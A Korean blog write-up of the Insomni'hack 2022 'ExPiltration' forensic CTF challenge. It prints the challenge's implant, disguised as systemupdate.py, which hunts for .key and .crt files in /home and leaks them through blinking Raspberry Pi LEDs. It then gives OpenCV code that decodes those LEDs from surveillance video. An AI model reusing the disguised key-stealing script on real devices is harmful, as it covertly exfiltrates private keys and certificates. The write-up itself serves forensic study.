관리 메뉴

ilovechoonsik

[InsomniHack- CTF] ExPiltration 본문

Digital Forensic - CTF 🚩/[InsomniHack- CTF]

[InsomniHack- CTF] ExPiltration

춘시기좋아 2022. 2. 1. 23:21

https://www.youtube.com/watch?v=GDfXVGCWWpU 

https://sekai.team/blog/insomni-hack-teaser-2022/expiltration/

 

Insomni'hack teaser 2022 – ExPiltration

Leak data via LED lights.

sekai.team

https://github.com/r41d3r-s3c/writeups/blob/main/2022-insomnihack-teaser/expiltration.md

 

GitHub - r41d3r-s3c/writeups

Contribute to r41d3r-s3c/writeups development by creating an account on GitHub.

github.com

위 write up 참고!

 


 

문제

by Kev1n


Oh sh$t.. (!) Our network has been compromised and data stored on an air-gaped device stolen but we don't know exactly what has been extracted and how? We have 24/7 video surveillance in the server room and nobody has approched the device.. Here is all I have, could you please give us a hand?

forensic-data.zip

>> 독립망 장치에 저장된 데이터가 도난당함!

정확히 무엇을 어떻게 추출했는지 모름 

서버실에 24시간 돌아가는 CCTV가 있고 아무도 장치에 접근하지 않았음

 

해당 서버 파일과 CCTV 영상 주면서 분석해달라는 문제!

 

 

받은 파일의 구조는 이렇게 생김

 

 

우선 log 분석 

var/log/syslog

보면 systemupdate.py 실행 시 발생하는 에러를 output.txt로 저장? 한다는 내용인 것 같다

 

output.txt 확인해보려 했으나 존재하지 않음

이제 systemupdate.py를 보자!

 

forensic-data/storage/usr/bin/systemupdate.py

import os
import time
import binascii

DELAY = 0.05

def init_leds():
	os.system("echo none > /sys/class/leds/led0/trigger")
	os.system("echo none > /sys/class/leds/led1/trigger")

def restore_leds():
	os.system("echo mmc0 > /sys/class/leds/led0/trigger")
	os.system("echo default-on > /sys/class/leds/led1/trigger")

def text_to_bits(text, encoding='utf-8', errors='surrogatepass'):
    bits = bin(int(binascii.hexlify(text.encode(encoding, errors)), 16))[2:]
    return bits.zfill(8 * ((len(bits) + 7) // 8))

def exfiltrate(data):
	stream = text_to_bits(data)
	for b in stream:
		if b=='0':
			os.system("echo 0 > /sys/class/leds/led0/brightness")
		else:
			os.system("echo 1 > /sys/class/leds/led0/brightness")

		time.sleep(DELAY)
		os.system("echo 1 > /sys/class/leds/led1/brightness")
		time.sleep(DELAY)
		os.system("echo 0 > /sys/class/leds/led1/brightness")
		time.sleep(DELAY)

def find_scret_file(path):
	files = []
	for r, d, f in os.walk(path):
		for file in f:
			if '.key' in file or '.crt' in file:
				files.append(os.path.join(r, file))

	for f in files:
		print("[+] Secret file discovered ({0}).. starting exfiltration".format(f))
		with open(f, 'r') as h:
			data = h.read()
		exfiltrate(data)

def main():

	init_leds()
	find_scret_file("/home")
	restore_leds()

if __name__ == '__main__':
	main()

중요한 함수 3개

 

find_scret_file()

인자로 받은 경로의 파일들을 탐색 > .key(개인키) .crt(인증서) 파일을 발견하면

해당 파일의 내용을 읽어와 data 변수에 넣고 exfiltrate()에 인자로 줌

 

exfiltrate()

find_scret_file()에서 받은 인자인 data를 text_to_bits()에 인자로 줘서 리턴 받은 뒤

리턴 값을 for문으로 돌려 led 출력

 

text_to_bits()

exfiltrate()로부터 받은 text형태인 data를 바이너리 형태로 변환하여 리턴

 

>> 시스템의 인증서, 개인키 파일을 찾아 해당 내용을 바이너리 형태로 변환하여 led를 통해 유출

 

 

키와 인증서를 systemupdate.py에 나와있는 /home 경로에서 확인해보고 싶었지만 이미 전부 사라진 상황

 


(요기서 home/pi 폴더 구조를 보고 라즈베리 파이인걸 알 수 있음)

https://wikidocs.net/3224

 

(1) 홈

파이에 로그인하여 터미널 창을 열거나, 그래픽 사용자 인터페이스가 아닌 명령행으로 부트할 때의 시작 위치는 홈(home) 폴더입니다. 사용자명이 `pi`라고 하면 홈 폴더는 ...

wikidocs.net


 

따라서 받은 영상의 led 분석을 통해 알아내야 함!!

 

우선 라즈베리 파이의 led 관련 자료 찾아보기

https://mlagerberg.gitbooks.io/raspberry-pi/content/5.2-leds.html

 

5.2 Control LEDs · Raspberry Pi Guide

 

mlagerberg.gitbooks.io

보면

# Red LED indicates enough power:
echo input | sudo tee /sys/class/leds/led1/trigger
# Green LED indicates memory:
echo mmc0 | sudo tee /sys/class/leds/led0/trigger

led1 = Red

led0 = Green

 

# LED off
echo 0 | sudo tee /sys/class/leds/led1/brightness
# LED on
echo 1 | sudo tee /sys/class/leds/led1/brightness

echo 0 = LED off

echo 1 = LED on

 

이제 Green, Red led를 규칙에 의해 키고 끄는 exfiltrate() 함수를 분석해보면

def exfiltrate(data):
	stream = text_to_bits(data)
	for b in stream:
		if b=='0':
			os.system("echo 0 > /sys/class/leds/led0/brightness")
		else:
			os.system("echo 1 > /sys/class/leds/led0/brightness")

		time.sleep(DELAY)
		os.system("echo 1 > /sys/class/leds/led1/brightness")
		time.sleep(DELAY)
		os.system("echo 0 > /sys/class/leds/led1/brightness")
		time.sleep(DELAY)

if문을 통해 우리가 알아내야 하는 유출된

.key, .crt 파일의 내용을 표현하는 것은 초록 LED 이구

 

바이너리 0 >> 초록 LED OFF

바이너리 1 >> 초록 LED ON

인 것을 알 수 있음!

 

이후에 빨간 LED는

초록 LED의 ON, OFF 여부에 관계없이 

0.05초의 DELAY를 가지며

무조건 켜졌다 꺼지게 되어있는데

 

직접 실험을 해보면

따라서 LED 분석하는 코드 작성 시 위 규칙에 의해 

 

초록 빨강 LED 동시에 ON

>> 1

 

빨강 LED 하나만 ON

>> 0

 

으로 표현할 수 있음!!

 

여기까지의 규칙을 적용하여 코드를 작성해보면

import cv2
import numpy as np

video = cv2.VideoCapture('1.mp4')

video.set(cv2.CAP_PROP_POS_FRAMES, 25170) # 7*60*60

red_led_on = False

while True:
    ret, frame = video.read()
    cv2.imshow('Frames', frame)

    # Red led location: 736, 552
    # Green led location: 718, 553

    if frame[552,736][0] < 150: # red_led = off
        red_led_on = False
    else:
        if red_led_on == False: # red_led = on
            if frame[552, 718][0] > 150: # green_led = on
            # red, green led on = print 1
                print("1") 
            else: 
                print("0")
            red_led_on = True
    
    if cv2.waitKey(100) & 0xFF == ord('q'): # frame 조절
        break

이런 식!! (좌표값은???? 위쪽 라즈베리 파이 사진을 보면 알 수 있듯이 우분투에서 opencv에 대한 frame사용 시 마우스 포인터에 대한 좌표 알 수 있음!)

 

 

실행해보면 led에 의해 바이너리 값 출력되는 걸 볼 수 있다!

 

요기서 3byte 만 가져와서 decode 해보면

--- 이 나오는 걸 알 수 있는데

 

우리가 위 코드를 통해 최종적으로 key, crf 관련 내용을 보게 될 것이므로 관련 내용으로 검색해보면

https://zerous0.tistory.com/12

 

[OpenSSL/RSA] RSA Private key와 Public key 나누기!!(Serialization)

[OpenSSL/RSA] RSA Private key와 Public key 나누기!! RSA에서 암호화 하기위해 공유키와 개인키를 각각 분리하기위해 아래의 3가지 과정을 거친다. 여기서 잠깐!!! Q. 왜 굳이 공유키와 개인키를 분리 할까

zerous0.tistory.com

RSA에서의 "---" 과 같다는 걸 알 수 있다!!

 

이제 바이너리 데이터가 잘 뽑히는 걸 알았으니 

해당 데이터를 8bit 단위로 끊어 변환, 출력하는 코드를 작성

import cv2
import numpy as np

video = cv2.VideoCapture('1.mp4')

video.set(cv2.CAP_PROP_POS_FRAMES, 25170) # 7*60*60

red_led_on = True
b = 0
flag = ""
count = 0

while True:
    ret, frame = video.read()
    cv2.imshow('Frames', frame)

    # Red led location: 736, 552
    # Green led location: 718, 553

    if frame[552,736][0] < 150: # red_led = off
        red_led_on = False
    else:
        if red_led_on == False: # red_led = on
            if frame[552, 718][0] > 150: # green_led = on
                b = b << 1 | 1 # shift bits to the left and add 1
            else:
                b = b << 1 | 0
            count += 1
            if count == 8:
                flag += chr(b)
                print(flag)
                b = 0
                count = 0
            red_led_on = True
    
    if cv2.waitKey(5) & 0xFF == ord('q'): # frame 조절
        break

https://076923.github.io/posts/Python-opencv-4/

 

Python OpenCV 강좌 : 제 4강 - 비디오 출력

비디오 출력

076923.github.io

https://laboputer.github.io/machine-learning/2020/04/25/numpy-quickstart/

 

넘파이(Numpy) 사용법 알아보기

넘파이 공식홈페이지 Quickstart tutorial에서 소개된 사용법을 따라하면서 정리한 글입니다. 실습해보면서 처음 시작하시는 분들도 이해할 수 있도록 설명을 추가하였으니 도움되시길 바랍니다.

laboputer.github.io

https://colossus-java-practice.tistory.com/19

 

[Chapter 2 연산자] 6. 비트 연산자 - 시프트 연산자 (Shift Operator)

지금까지 다양한 연산자들에 대해서 알아보고 있다. 연산자의 종류는 엄청나게 다양하지만 의외로 우리들이 알고 있는 연산자들도 많고 생각보다 쉬운 연산자들도 더러 있었다. 그런데 이번 시

colossus-java-practice.tistory.com

1.py
0.00MB
1-1.py
0.00MB

ㄴ연습

 

개인키와 인증서가 나오는데 해당 내용을 Base64로 디코딩하면

 

 

flag 있음!

 

 

 

 

 

 

+ RGB 이용한 코드

import cv2
import tqdm
import bitstring

def rgb_to_luminance(r, g, b):
    return 0.2126 * r + 0.7152 * g + 0.0722 * b

vidcap = cv2.VideoCapture('1.mp4')

with tqdm.tqdm(total=vidcap.get(cv2.CAP_PROP_FRAME_COUNT)) as t:
    success, image = vidcap.read()
    t.update(1)
    led0 = []
    led1 = []
    while success:
        led0.append(rgb_to_luminance(*image[550][717]))
        led1.append(rgb_to_luminance(*image[550][735]))
        success, image = vidcap.read()
        t.update(1)

bits_raw = []
start = 0
end = 0
threshold = 210
is_on = True
for i in range(len(led0)):
    if is_on and led1[i] < threshold:
        is_on = False
        end = i
        bits_raw.append(sum(led0[start:end]) / (end - start))
    elif not is_on and led1[i] > threshold:
        is_on = True
        start = i

bits = [0 if i < threshold else 1 for i in bits_raw]

b = bitstring.BitArray(bin="".join(map(str, bits[1:])))
print(b.bytes.decode())

 

'Digital Forensic - CTF 🚩 > [InsomniHack- CTF]' 카테고리의 다른 글

[InsomniHack- CTF] AndroNotes  (0) 2022.02.01
Comments